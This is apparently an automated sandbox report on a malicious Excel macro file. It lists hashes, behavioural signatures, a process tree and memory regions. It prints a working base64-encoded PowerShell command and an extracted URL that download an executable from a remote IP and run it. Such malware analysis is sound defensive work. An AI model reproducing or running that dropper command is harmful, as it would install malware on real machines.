Analysis

  • max time kernel
    122s
  • max time network
    129s
  • platform
    windows7_x64
  • resource
    win7-20240903-en
  • resource tags

    arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
  • submitted
    21-11-2024 22:32

General

  • Target

    6ffda0323b69bb875a8360bcdd18b398a463d3de88bb11e6511a3b3bffe5b753.xlsm

  • Size

    14KB

  • MD5

    70820ac2bb527bb0a10747a06d2c2b0b

  • SHA1

    7289b7ddcdcaa9450c27e1579f36d67a544cee80

  • SHA256

    6ffda0323b69bb875a8360bcdd18b398a463d3de88bb11e6511a3b3bffe5b753

  • SHA512

    64be67485be70ac5aa2539a88c9846282d7178e13a46895d4686ff0ce79378bf9ed4ee7bec00cb88abc0e2e8bb41a9b9ef38aa4ff25b4e4dc6334a96ad1ee4b5

  • SSDEEP

    384:A0z+vPw85+pkQ1z7fMc+8Pty4jZwENYBp7zMLmh:p+3ZgkKzDMCXjZwENmdKk

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://84.252.122.205/xcx/system.exe

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 1 IoCs
  • Deletes itself 1 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Office loads VBA resources, possible macro or embedded object present
  • Enumerates system info in registry 2 TTPs 1 IoCs
  • NTFS ADS 1 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious behavior: RenamesItself 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\6ffda0323b69bb875a8360bcdd18b398a463d3de88bb11e6511a3b3bffe5b753.xlsm
    1⤵
    • Deletes itself
    • System Location Discovery: System Language Discovery
    • Enumerates system info in registry
    • NTFS ADS
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious behavior: RenamesItself
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1840
    • C:\Windows\SysWOW64\cmd.exe
      cmd /c Cxrgbutjpc.bat
      2⤵
      • Process spawned unexpected child process
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:2108
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -win 1 -enc JABQAHIAbwBjAE4AYQBtAGUAIAA9ACAAIgBCAGUAeABzAGMAbwB5AGEAcABhAHIAYwB5AGgAbgBmAHkALgBlAHgAZQAiADsAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACIAaAB0AHQAcAA6AC8ALwA4ADQALgAyADUAMgAuADEAMgAyAC4AMgAwADUALwB4AGMAeAAvAHMAeQBzAHQAZQBtAC4AZQB4AGUAIgAsACIAJABlAG4AdgA6AEEAUABQAEQAQQBUAEEAXAAkAFAAcgBvAGMATgBhAG0AZQAiACkAOwBTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAAKAAiACQAZQBuAHYAOgBBAFAAUABEAEEAVABBAFwAJABQAHIAbwBjAE4AYQBtAGUAIgApAA==
        3⤵
        • Blocklisted process makes network request
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2100

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Temp\6ffda0323b69bb875a8360bcdd18b398a463d3de88bb11e6511a3b3bffe5b753.xlsm

    Filesize

    21KB

    MD5

    3a37982a36a3e286c391ec4c915a14f8

    SHA1

    b200610c40d68db675d1d22ba3ccbcd25e8597b9

    SHA256

    cdc2c1721db1db71374fa8cbaae0aa916feb77dc53d8a30b15acbefd7b5e6419

    SHA512

    f303c35aa44e1ace057eb48dd94184ebe6b56adf8f2be9b8a5c98a9ebd5c1a1c51d1e42844223df2c717d0042ee8c6f38af5a1bcba6bc38e6cf35a23a4ccc23d

  • C:\Users\Admin\Documents\Cxrgbutjpc.bat

    Filesize

    587B

    MD5

    31814477e987cc1e94638caa7f39f293

    SHA1

    c3814edcc331117303ced19f53006a4ecd09a833

    SHA256

    de24fa627ca42edfb1e5b46804f6dd0ed41fbcbd900eeeb56abc5cb34c1cadd4

    SHA512

    09a06a533d82dc086c345bd1c5ca92b2d582964c963b89e6e0c11c784effe9e4ecfc5e05f2bd3571437a04bead7c2d9fc053bd82538be17a23a473dc949fc268

  • memory/1840-36-0x00000000003F0000-0x00000000004F0000-memory.dmp

    Filesize

    1024KB

  • memory/1840-17-0x00000000003F0000-0x00000000004F0000-memory.dmp

    Filesize

    1024KB

  • memory/1840-18-0x00000000003F0000-0x00000000004F0000-memory.dmp

    Filesize

    1024KB

  • memory/1840-35-0x00000000003F0000-0x00000000004F0000-memory.dmp

    Filesize

    1024KB

  • memory/1840-16-0x00000000003F0000-0x00000000004F0000-memory.dmp

    Filesize

    1024KB

  • memory/1840-15-0x00000000003F0000-0x00000000004F0000-memory.dmp

    Filesize

    1024KB

  • memory/1840-14-0x00000000003F0000-0x00000000004F0000-memory.dmp

    Filesize

    1024KB

  • memory/1840-13-0x00000000003F0000-0x00000000004F0000-memory.dmp

    Filesize

    1024KB

  • memory/1840-19-0x00000000003F0000-0x00000000004F0000-memory.dmp

    Filesize

    1024KB

  • memory/1840-46-0x00000000003F0000-0x00000000004F0000-memory.dmp

    Filesize

    1024KB

  • memory/1840-54-0x00000000003F0000-0x00000000004F0000-memory.dmp

    Filesize

    1024KB

  • memory/1840-45-0x00000000003F0000-0x00000000004F0000-memory.dmp

    Filesize

    1024KB

  • memory/1840-44-0x00000000003F0000-0x00000000004F0000-memory.dmp

    Filesize

    1024KB

  • memory/1840-43-0x00000000003F0000-0x00000000004F0000-memory.dmp

    Filesize

    1024KB

  • memory/1840-42-0x00000000003F0000-0x00000000004F0000-memory.dmp

    Filesize

    1024KB

  • memory/1840-34-0x00000000003F0000-0x00000000004F0000-memory.dmp

    Filesize

    1024KB

  • memory/1840-40-0x00000000003F0000-0x00000000004F0000-memory.dmp

    Filesize

    1024KB

  • memory/1840-39-0x00000000003F0000-0x00000000004F0000-memory.dmp

    Filesize

    1024KB

  • memory/1840-38-0x00000000003F0000-0x00000000004F0000-memory.dmp

    Filesize

    1024KB

  • memory/1840-37-0x00000000003F0000-0x00000000004F0000-memory.dmp

    Filesize

    1024KB

  • memory/1840-62-0x00000000003F0000-0x00000000004F0000-memory.dmp

    Filesize

    1024KB

  • memory/1840-20-0x00000000003F0000-0x00000000004F0000-memory.dmp

    Filesize

    1024KB

  • memory/1840-41-0x00000000003F0000-0x00000000004F0000-memory.dmp

    Filesize

    1024KB

  • memory/1840-33-0x00000000003F0000-0x00000000004F0000-memory.dmp

    Filesize

    1024KB

  • memory/1840-32-0x00000000003F0000-0x00000000004F0000-memory.dmp

    Filesize

    1024KB

  • memory/1840-31-0x00000000003F0000-0x00000000004F0000-memory.dmp

    Filesize

    1024KB

  • memory/1840-30-0x00000000003F0000-0x00000000004F0000-memory.dmp

    Filesize

    1024KB

  • memory/1840-29-0x00000000003F0000-0x00000000004F0000-memory.dmp

    Filesize

    1024KB

  • memory/1840-0-0x000000005FFF0000-0x0000000060000000-memory.dmp

    Filesize

    64KB

  • memory/1840-12-0x00000000003F0000-0x00000000004F0000-memory.dmp

    Filesize

    1024KB

  • memory/1840-11-0x00000000003F0000-0x00000000004F0000-memory.dmp

    Filesize

    1024KB

  • memory/1840-10-0x00000000003F0000-0x00000000004F0000-memory.dmp

    Filesize

    1024KB

  • memory/1840-9-0x00000000003F0000-0x00000000004F0000-memory.dmp

    Filesize

    1024KB

  • memory/1840-8-0x00000000003F0000-0x00000000004F0000-memory.dmp

    Filesize

    1024KB

  • memory/1840-7-0x00000000003F0000-0x00000000004F0000-memory.dmp

    Filesize

    1024KB

  • memory/1840-6-0x00000000003F0000-0x00000000004F0000-memory.dmp

    Filesize

    1024KB

  • memory/1840-5-0x00000000003F0000-0x00000000004F0000-memory.dmp

    Filesize

    1024KB

  • memory/1840-4-0x00000000003F0000-0x00000000004F0000-memory.dmp

    Filesize

    1024KB

  • memory/1840-3-0x00000000003F0000-0x00000000004F0000-memory.dmp

    Filesize

    1024KB

  • memory/1840-2-0x00000000003F0000-0x00000000004F0000-memory.dmp

    Filesize

    1024KB

  • memory/1840-58-0x00000000723FD000-0x0000000072408000-memory.dmp

    Filesize

    44KB

  • memory/1840-1-0x00000000723FD000-0x0000000072408000-memory.dmp

    Filesize

    44KB

  • memory/1840-63-0x00000000003F0000-0x00000000004F0000-memory.dmp

    Filesize

    1024KB